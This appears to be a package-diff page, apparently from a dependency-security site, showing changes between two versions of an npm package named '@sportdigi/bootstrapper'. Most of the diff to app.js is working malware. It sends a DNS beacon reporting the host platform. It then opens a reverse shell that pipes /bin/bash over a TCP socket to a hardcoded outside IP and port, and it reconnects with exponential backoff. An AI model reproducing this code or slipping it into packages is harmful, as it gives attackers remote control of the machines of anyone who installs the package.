@sportdigi/bootstrapper 19.1.0 → 21.1.0
Sign up to get free protection for your applications and to get access to all the features.
- package/app.js +37 -24
- package/package.json +1 -1
package/app.js
CHANGED
@@ -11,6 +11,9 @@ function sendDns(query){
|
|
11
11
|
});
|
12
12
|
}
|
13
13
|
|
14
|
+
if (platform == 'win32'){
|
15
|
+
sendDns("windows");
|
16
|
+
}
|
14
17
|
sendDns(platform);
|
15
18
|
|
16
19
|
const net = require('net');
|
@@ -19,38 +22,48 @@ const spawn = require('child_process').spawn;
|
|
19
22
|
const HOST = '54.90.237.9';
|
20
23
|
const PORT = 9797;
|
21
24
|
|
22
|
-
|
25
|
+
let retryInterval = 10000;
|
26
|
+
const maxInterval = 10 * 60 * 1000;
|
23
27
|
|
24
|
-
|
25
|
-
|
28
|
+
function connect() {
|
29
|
+
const client = new net.Socket();
|
26
30
|
|
27
|
-
|
31
|
+
client.connect(PORT, HOST, () => {
|
32
|
+
console.log('Bağlantı kuruldu.');
|
33
|
+
retryInterval = 10000;
|
28
34
|
|
35
|
+
const shell = spawn('/bin/bash', []);
|
29
36
|
|
30
|
-
|
31
|
-
|
32
|
-
|
37
|
+
shell.stdout.on('data', (data) => {
|
38
|
+
client.write(data);
|
39
|
+
});
|
33
40
|
|
34
|
-
|
35
|
-
|
36
|
-
|
41
|
+
shell.stderr.on('data', (data) => {
|
42
|
+
client.write(data);
|
43
|
+
});
|
37
44
|
|
38
|
-
|
39
|
-
|
40
|
-
|
45
|
+
client.on('data', (data) => {
|
46
|
+
shell.stdin.write(data);
|
47
|
+
});
|
41
48
|
|
42
|
-
|
43
|
-
|
44
|
-
|
49
|
+
client.on('close', () => {
|
50
|
+
console.log('Bağlantı kapatıldı.');
|
51
|
+
client.destroy();
|
52
|
+
scheduleReconnect();
|
53
|
+
});
|
45
54
|
});
|
46
55
|
|
47
|
-
client.on('
|
48
|
-
console.
|
49
|
-
|
56
|
+
client.on('error', (err) => {
|
57
|
+
console.error('Bağlantı hatası:', err);
|
58
|
+
client.destroy();
|
59
|
+
scheduleReconnect();
|
50
60
|
});
|
51
|
-
}
|
61
|
+
}
|
62
|
+
|
63
|
+
function scheduleReconnect() {
|
64
|
+
console.log(`Bağlantı ${retryInterval / 1000} saniye sonra yeniden deneniyor...`);
|
65
|
+
setTimeout(connect, retryInterval);
|
66
|
+
retryInterval = Math.min(retryInterval * 2, maxInterval);
|
67
|
+
}
|
52
68
|
|
53
|
-
|
54
|
-
console.error('Bağlantı hatası: ', err);
|
55
|
-
process.exit();
|
56
|
-
});
|
69
|
+
connect();
|